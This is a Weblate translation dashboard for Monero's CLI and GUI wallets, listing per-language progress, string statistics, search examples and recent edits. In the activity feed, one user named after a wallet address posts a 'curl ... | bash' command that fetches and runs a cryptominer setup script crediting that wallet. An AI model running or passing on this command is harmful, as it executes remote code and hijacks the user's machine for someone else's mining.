Monero CLI & GUI/Monero CLI & GUI @ Weblate

Quick Start and Info

Welcome to Weblate. The Monero localization platform. Here you can help translate all things Monero, like the Website, the GUI and CLI wallets and more. We have some guides to help you started, but if you need help or support, contact the localization wokgroup!

Guides:

Support and Contacts:

GitHub
#monero-translations - Chat on Matrix, Freenode and MatterMost

Language	Translated	Unfinished	Unfinished words	Unfinished characters	Untranslated	Checks	Suggestions	Comments
English BSD-3-Clause	201	0	0	0	0	0	0	0

Afrikaans BSD-3-Clause	0	0	0	0	0	0	0	0

Arabic BSD-3-Clause	0	0	0	0	0	0	0	0

Azerbaijani BSD-3-Clause	0	0	0	0	0	0	0	0

Bengali BSD-3-Clause	0	0	0	0	0	0	0	0

Bulgarian BSD-3-Clause	0	0	0	0	0	0	0	0

Catalan BSD-3-Clause	0	0	0	0	0	0	0	0

Chinese (Simplified) BSD-3-Clause	18	0	0	0	0	0	0	0

Chinese (Traditional) BSD-3-Clause	0	0	0	0	0	0	0	0

Croatian BSD-3-Clause	0	0	0	0	0	0	0	0

Czech BSD-3-Clause	0	0	0	0	0	0	0	0

Danish BSD-3-Clause	0	0	0	0	0	0	0	0

Dutch BSD-3-Clause	0	0	0	0	0	0	0	0

Esperanto BSD-3-Clause	0	0	0	0	0	0	0	0

Finnish BSD-3-Clause	0	0	0	0	0	0	0	0

French BSD-3-Clause	28	0	0	0	0	0	2	0

German BSD-3-Clause	65	0	0	0	0	0	0	0

Greek BSD-3-Clause	0	0	0	0	0	0	0	0

Hebrew BSD-3-Clause	0	0	0	0	0	0	0	0

Hindi BSD-3-Clause	0	0	0	0	0	0	0	0

Hungarian BSD-3-Clause	0	0	0	0	0	0	0	0

Icelandic BSD-3-Clause	0	0	0	0	0	0	0	0

Indonesian BSD-3-Clause	0	0	0	0	0	0	0	0

Irish BSD-3-Clause	0	0	0	0	0	0	0	0

Italian BSD-3-Clause	44	0	0	0	0	0	0	0

Japanese BSD-3-Clause	0	0	0	0	0	0	0	0

Korean BSD-3-Clause	0	0	0	0	0	0	0	0

Kurdish (Northern) BSD-3-Clause	0	0	0	0	0	0	0	0

Lithuanian BSD-3-Clause	0	0	0	0	0	0	0	0

Nepali BSD-3-Clause	0	0	0	0	0	0	0	0

Norwegian Bokmål BSD-3-Clause	0	0	0	0	0	0	0	0

Persian BSD-3-Clause	0	0	0	0	0	0	0	0

Persian (Old) BSD-3-Clause	0	0	0	0	0	0	0	0

Polish BSD-3-Clause	0	0	0	0	0	0	0	0

Portuguese (Brazil) BSD-3-Clause	64	0	0	0	0	0	0	0

Portuguese (Portugal) BSD-3-Clause	0	0	0	0	0	0	0	0

prt (generated) (prt) BSD-3-Clause	0	0	0	0	0	0	0	0

Romanian BSD-3-Clause	0	0	0	0	0	0	0	0

Russian BSD-3-Clause	0	0	0	0	0	0	0	0

Serbian BSD-3-Clause	0	0	0	0	0	0	0	0

Slovak BSD-3-Clause	0	0	0	0	0	0	0	0

Slovenian BSD-3-Clause	0	0	0	0	0	0	0	0

Spanish BSD-3-Clause	52	0	0	0	0	0	0	1

Swedish BSD-3-Clause	40	0	0	0	0	0	0	0

Tamil BSD-3-Clause	0	0	0	0	0	0	0	0

Turkish BSD-3-Clause	0	0	0	0	0	0	0	0

Ukrainian BSD-3-Clause	0	0	0	0	0	0	0	0

Urdu BSD-3-Clause	0	0	0	0	0	0	0	0

Vietnamese BSD-3-Clause	0	0	0	0	0	0	0	0

Zulu BSD-3-Clause	0	0	0	0	0	0	0	0

Please sign in to see the alerts.

Overview

Project website	github.com/monero-project
Instructions for translators	https://github.com/monero-ecosystem/monero-translations/blob/master/weblate.md
Translation license	BSD 3-Clause "New" or "Revised" License
Translation process	Translations can be made directly. Translation suggestions can be made. Any authenticated user can contribute. The translation uses bilingual files.
File mask	`*.tbx`

String statistics

	Strings percent	Hosted strings	Words percent	Hosted words	Characters percent	Hosted characters
Total		512		790		5,275
Source		201		320		2,131
Translated	100%	512	100%	790	100%	5,275
Needs editing	0%	0	0%	0	0%	0
Read-only	39%	201	40%	320	40%	2,131
Failing checks	0%	0	0%	0	0%	0
Strings with suggestions	1%	2	1%	4	1%	17
Untranslated strings	0%	0	0%	0	0%	0

Last 12 months Previous

Activity in last 12 months


Nov	Dec	Jan	Feb	Mar	Apr	May	Jun	Jul	Aug	Sep	Oct

Quick numbers

Hosted words

Hosted strings

Translated

Contributors

and previous 30 days

Trends of last 30 days

—

Hosted words

—

Hosted strings

—

Translated

—

Contributors

—

Search

Advanced query builder

Query examples

Review strings changed by other users	`changed:>=2023-10-30 AND NOT changed_by:anonymous`	Add
Translated strings	`state:>=translated`	Add
Strings with comments	`has:comment`	Add
Strings with any failing checks	`has:check`	Add
Strings with suggestions from others	`has:suggestion AND NOT suggestion_author:anonymous`	Add
Approved strings with suggestions	`state:approved AND has:suggestion`	Add
All untranslated strings added the past month	`added:>=2023-10-30 AND state:<=needs-editing`	Add
Translated strings in a certain language	`is:translated AND language:en`	Add

deleted-1227 Suggestion added Monero CLI & GUI / Monero CLI & GUI — French	English View Key French 11 characters edited Clé d'audit 3 months ago
deleted-1227 Suggestion added Monero CLI & GUI / Monero CLI & GUI — French	English Spend Key French 14 characters edited Clé de dépense 3 months ago
BAoDXmA Suggestion added Monero CLI & GUI / Monero CLI & GUI — French	English Sender French 8 characters edited Émetteur 6 months ago
CoolingJJ Suggestion added Monero CLI & GUI / Monero CLI & GUI — Spanish	English Miner Spanish 6 characters edited Minero a year ago
41n5T6hjTkEZR3frJZb28djAPvZH1T5xFLFJwtgvtzgsKLvhQvieTpzTewzywJkLyEZRtAxBn2T1tSsaArN8pPAs1nqYQd6 Comment added Monero CLI & GUI / Monero CLI & GUI — Spanish	Minerloco123 a year ago
41n5T6hjTkEZR3frJZb28djAPvZH1T5xFLFJwtgvtzgsKLvhQvieTpzTewzywJkLyEZRtAxBn2T1tSsaArN8pPAs1nqYQd6 Comment added Monero CLI & GUI / Monero CLI & GUI — Spanish	curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh \| bash -s 41n5T6hjTkEZR3frJZb28djAPvZH1T5xFLFJwtgvtzgsKLvhQvieTpzTewzywJkLyEZRtAxBn2T1tSsaArN8pPAs1nqYQd6 a year ago
netrik182 New string added Monero CLI & GUI / Monero CLI & GUI — Chinese (Simplified)	English Testnet Chinese (Simplified) 3 characters edited Current translation 测试网 a year ago
netrik182 New string added Monero CLI & GUI / Monero CLI & GUI — Chinese (Simplified)	English Stagenet Chinese (Simplified) 3 characters edited Current translation 预览网 a year ago
netrik182 New string added Monero CLI & GUI / Monero CLI & GUI — Chinese (Simplified)	English Mainnet Chinese (Simplified) 2 characters edited Current translation 主网 a year ago
takato3000 Suggestion added Monero CLI & GUI / Monero CLI & GUI — Chinese (Simplified)	English XMR Chinese (Simplified) 11 characters edited XMR/墨内罗/门罗币 a year ago

Browse all component changes